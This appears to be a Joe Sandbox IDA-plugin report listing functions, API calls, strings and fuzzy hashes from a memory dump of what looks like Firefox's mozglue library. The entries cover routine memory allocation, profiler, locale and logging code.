Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 7922724378c2ba006c4a268f9848604e3f4f0841001821f3072d1fd50cbdf9cb
Instruction ID: 72816edbbdca4cb2405540ef857f17b190ce81f44ee68a7719fc17ec792388e2
Opcode Fuzzy Hash: 7922724378c2ba006c4a268f9848604e3f4f0841001821f3072d1fd50cbdf9cb
Instruction Fuzzy Hash: A861F432F056168FCB04CAA8CC98B6E73B5AF96318F29463DE524A7A95D770D900C781

Function 6C9048E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C94483A,?), ref: 6C904ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C94483A,?), ref: 6C904AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C94483A,?), ref: 6C904A82

Part of subcall function 6C91CA10: mozalloc_abort.MOZGLUE(?), ref: 6C91CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C94483A,?), ref: 6C904A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C94483A,?), ref: 6C904A35

Part of subcall function 6C91CA10: malloc.MOZGLUE(?), ref: 6C91CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C94483A,?), ref: 6C904A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C94483A,?), ref: 6C904AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C94483A,?), ref: 6C904B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C94483A,?), ref: 6C904B2C

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: c18d0270e973b69808e8210ec5ffbb9d38a775fc21285c23196e8e9eb8415f2a
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 5F715CB1A00B069FCB54CF68C4819AAB7F5FF28308B10463ED15ADBB51E731EA55CB80

Function 6C959D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C958273), ref: 6C959D65
free.MOZGLUE(6C958273,?), ref: 6C959D7C
free.MOZGLUE(?,?), ref: 6C959D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C959E0F
free.MOZGLUE(6C95946B,?,?), ref: 6C959E24
free.MOZGLUE(?,?,?), ref: 6C959E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C959EC8
free.MOZGLUE(6C95946B,?,?,?), ref: 6C959EDF
free.MOZGLUE(?,?,?,?), ref: 6C959EF5

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 321e34489bc2af4df09f22335ecfabef6e273d0437d41ec40ae101f60db0b4e9
Instruction ID: 5c9512caccb8b52d184df37c2e9ca56333e161242c3c391feec5508e09941e41
Opcode Fuzzy Hash: 321e34489bc2af4df09f22335ecfabef6e273d0437d41ec40ae101f60db0b4e9
Instruction Fuzzy Hash: 05718FB0909B419BD712CF18C48056BF3F5FFA9315B859619E89A5BB05EB30E886CB81

Function 6C95DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C95DDCF

Part of subcall function 6C93FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C93FA4B

Part of subcall function 6C9590E0: free.MOZGLUE(?,00000000,?,?,6C95DEDB), ref: 6C9590FF
Part of subcall function 6C9590E0: free.MOZGLUE(?,00000000,?,?,6C95DEDB), ref: 6C959108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95DE0D
free.MOZGLUE(00000000), ref: 6C95DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C94DEFD,?,6C914A68), ref: 6C95DF32

Part of subcall function 6C95DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C95DB86
Part of subcall function 6C95DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C95DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C94DEFD,?,6C914A68), ref: 6C95DF65
free.MOZGLUE(?), ref: 6C95DF80

Part of subcall function 6C925E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C925EDB
Part of subcall function 6C925E90: memset.VCRUNTIME140(6C967765,000000E5,55CCCCCC), ref: 6C925F27
Part of subcall function 6C925E90: LeaveCriticalSection.KERNEL32(?), ref: 6C925FB2

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f0c3fc27fcb7737a3bc06e2b9b09f4ec34ee6789c5c1076345332eb40d817a6d
Instruction ID: 426af89ef768f2a1b7eeaac3c6928c7aed2d10158763ec34e165be2e51fb1845
Opcode Fuzzy Hash: f0c3fc27fcb7737a3bc06e2b9b09f4ec34ee6789c5c1076345332eb40d817a6d
Instruction Fuzzy Hash: 2B51B0737116019BD711DB28DA806AEB3B6AFA2348FD6051CD85A53B00DB31F93DCB82

Function 6C965D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C965C8C,?,6C93E829), ref: 6C965D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C965C8C,?,6C93E829), ref: 6C965D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C965C8C,?,6C93E829), ref: 6C965D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C965C8C,?,6C93E829), ref: 6C965D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C965C8C,?,6C93E829), ref: 6C965DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C965C8C,?,6C93E829), ref: 6C965DC9
std::_Facet_Register.LIBCPMT ref: 6C965DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C965C8C,?,6C93E829), ref: 6C965E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C965C8C,?,6C93E829), ref: 6C965E45

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 13c71deb3b625e65f7a214f2f07e2318db0a5ad3e2cb961c6dc3315890d39adf
Instruction ID: 3baf3d3cbe749cf6fe7e3639b12e9b2fe815d40cd485311660067812916380f6
Opcode Fuzzy Hash: 13c71deb3b625e65f7a214f2f07e2318db0a5ad3e2cb961c6dc3315890d39adf
Instruction Fuzzy Hash: 024192707052059FDB00DF65C898AAE77B9FF8A314F584468D50A9BBD2DB34DC05CB61

Function 6C93CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9031A7), ref: 6C93CDDD

Strings

<jemalloc>, xrefs: 6C93CF9F, 6C93CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C93CFA4, 6C93CFB8

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 77c8c0659af9ef78080f6ad32c96978b90ed5a63a945d1b1c914677f96fde4aa
Instruction ID: f01fa2907dbbe9de819d97b39941394f7128f6c84260894f2e37609c7a9bfd62
Opcode Fuzzy Hash: 77c8c0659af9ef78080f6ad32c96978b90ed5a63a945d1b1c914677f96fde4aa
Instruction Fuzzy Hash: 4131E6307466355BFF10AEA58C55B6F7B79BF42B18F345618F618ABAC0DB70D8108BA0

Function 6C90ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C90F100: LoadLibraryW.KERNEL32(shell32,?,6C97D020), ref: 6C90F122
Part of subcall function 6C90F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C90F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C90ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C90EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C90EDCC
CreateFileW.KERNEL32 ref: 6C90EE08
free.MOZGLUE(00000000), ref: 6C90EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C90EE32

Part of subcall function 6C90EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C90EBB5
Part of subcall function 6C90EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C93D7F3), ref: 6C90EBC3
Part of subcall function 6C90EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C93D7F3), ref: 6C90EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C90EDC1

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 6fe24ff28c14df8355755c13cd82038581cb3cff2de11d17f5aa602aceef8831
Instruction ID: e0f2bca76e10b047201d3bd5187bc433307d3204854415c6fcc402d0ef1634ce
Opcode Fuzzy Hash: 6fe24ff28c14df8355755c13cd82038581cb3cff2de11d17f5aa602aceef8831
Instruction Fuzzy Hash: 7D51D671E052189BDB11DF64C8447EEB7B5EF69318F44842DD89567740E730E948C7E2

Function 6C97A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C97A565

Part of subcall function 6C97A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C97A4BE
Part of subcall function 6C97A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C97A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C97A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C97A6B6

Strings

z, xrefs: 6C97A6AE
0, xrefs: 6C97A5FB

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: fae6226d8bad051e2a9deee827071dd0b77374ac9c808059f03c50b8f436b46a
Instruction ID: 84d0df7b9e1bc99e4bb194b8e493fed05121496851903836c74d507c9d3a53a9
Opcode Fuzzy Hash: fae6226d8bad051e2a9deee827071dd0b77374ac9c808059f03c50b8f436b46a
Instruction Fuzzy Hash: 98415871A0A7459FC351CF28C080A8FBBE4BF99354F409A2EF4998B650EB30D549CB93

Function 6C9078C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C98008B), ref: 6C907B89
free.MOZGLUE(?,6C98008B), ref: 6C907BAC

Part of subcall function 6C9078C0: free.MOZGLUE(?,6C98008B), ref: 6C907BCF

free.MOZGLUE(?,6C98008B), ref: 6C907BF2

Part of subcall function 6C925E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C925EDB
Part of subcall function 6C925E90: memset.VCRUNTIME140(6C967765,000000E5,55CCCCCC), ref: 6C925F27
Part of subcall function 6C925E90: LeaveCriticalSection.KERNEL32(?), ref: 6C925FB2

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 67b30622ebf9fcabd2ed7968c17b99db80c1381421915cb4585e395deea650cc
Instruction ID: 9fcadfbc425d0d39b730ef5e8f2ecf40c253a7a6d0a5ad09bffbd33ff2a927f3
Opcode Fuzzy Hash: 67b30622ebf9fcabd2ed7968c17b99db80c1381421915cb4585e395deea650cc
Instruction Fuzzy Hash: 7FC1B031F011298BEB248B28CC90BADB772AF51328F1546ADD41AABBC0C731DE85CB51

Function 6C949420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C93AB89: EnterCriticalSection.KERNEL32(6C98E370,?,?,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284), ref: 6C93AB94
Part of subcall function 6C93AB89: LeaveCriticalSection.KERNEL32(6C98E370,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C93ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C914A68), ref: 6C94945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C949470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C949482
__Init_thread_footer.LIBCMT ref: 6C94949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C94946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C949459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C94947D

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 96efc761479d7f0e1e9788418e1c03d073d1eb766485a83ddfbfa0a2831a1c80
Instruction ID: 6913c7eb38e7c89a07420e5ba36e339d394f8502d45e034210b8076028b5550b
Opcode Fuzzy Hash: 96efc761479d7f0e1e9788418e1c03d073d1eb766485a83ddfbfa0a2831a1c80
Instruction Fuzzy Hash: 3A014C30A0611087DF009B7CD914A45337C9B4732CF254E3BDD0A87F41E735D8648957

Function 6C950F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C950F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C950F88
GetCurrentThreadId.KERNEL32 ref: 6C950FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C951067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9510A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C95114B

Part of subcall function 6C948AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C961563), ref: 6C948BD5

free.MOZGLUE(?), ref: 6C951174
free.MOZGLUE(?), ref: 6C951186

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 511fb52648baba9e608e6fc662c63ea8429e773157591432bd7f02c848798a77
Instruction ID: 757e22db420a81ba45581baac48ecca814b1f235af09bd29c5d96ee03ddd8b24
Opcode Fuzzy Hash: 511fb52648baba9e608e6fc662c63ea8429e773157591432bd7f02c848798a77
Instruction Fuzzy Hash: A461E4756093409FDB10CF24C8807AAB7F5BFE6308F54991DE89947711EB31E568CB81

Function 6C90B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C90B61E,?,?,?,?,?,00000000), ref: 6C90B6AC

Part of subcall function 6C91CA10: malloc.MOZGLUE(?), ref: 6C91CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C90B61E,?,?,?,?,?,00000000), ref: 6C90B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C90B61E,?,?,?,?,?,00000000), ref: 6C90B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C90B61E,?,?,?,?,?,00000000), ref: 6C90B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C90B61E,?,?,?,?,?,00000000), ref: 6C90B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C90B61E), ref: 6C90B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C90B61E,?,?,?,?,?,00000000), ref: 6C90B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C90B61E,?,?,?,?,?,00000000), ref: 6C90B79A

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 413bc4f4679355d5c6020f81e4d0d393e0bea920174463e5943c7bb3140c732d
Instruction ID: ad4f36f2df09835a41ee81472bc965c4535889895fec23f413c400f6dd777776
Opcode Fuzzy Hash: 413bc4f4679355d5c6020f81e4d0d393e0bea920174463e5943c7bb3140c732d
Instruction Fuzzy Hash: F141A2B2E001159FCB14DE68DC906AEB7B9FB54324B250629E825E7B90E731E9048BE1

Function 6C90EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C985104), ref: 6C90EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C90EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C90EFEC
free.MOZGLUE(?), ref: 6C90F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C90F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C90F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C90F065
moz_xmalloc.MOZGLUE ref: 6C90F072

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 3cbe214dbdd4aafc67c11a4be69291fad4bec8a48c2ec842a8bf3f9a4930dfd6
Instruction ID: 702c53886f6254b6e65036e4ba247c160a2cdc6cd717f6190841bc29b9381911
Opcode Fuzzy Hash: 3cbe214dbdd4aafc67c11a4be69291fad4bec8a48c2ec842a8bf3f9a4930dfd6
Instruction Fuzzy Hash: BB41F6B2B002059FCB08CF68D8809BE7769BF94318B24022CE915DB794EB31EA15C7E1

Function 6C97B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C97B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C97B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C97B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C97B5F4
__Init_thread_footer.LIBCMT ref: 6C97B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C97B61F
std::_Facet_Register.LIBCPMT ref: 6C97B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97B655

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

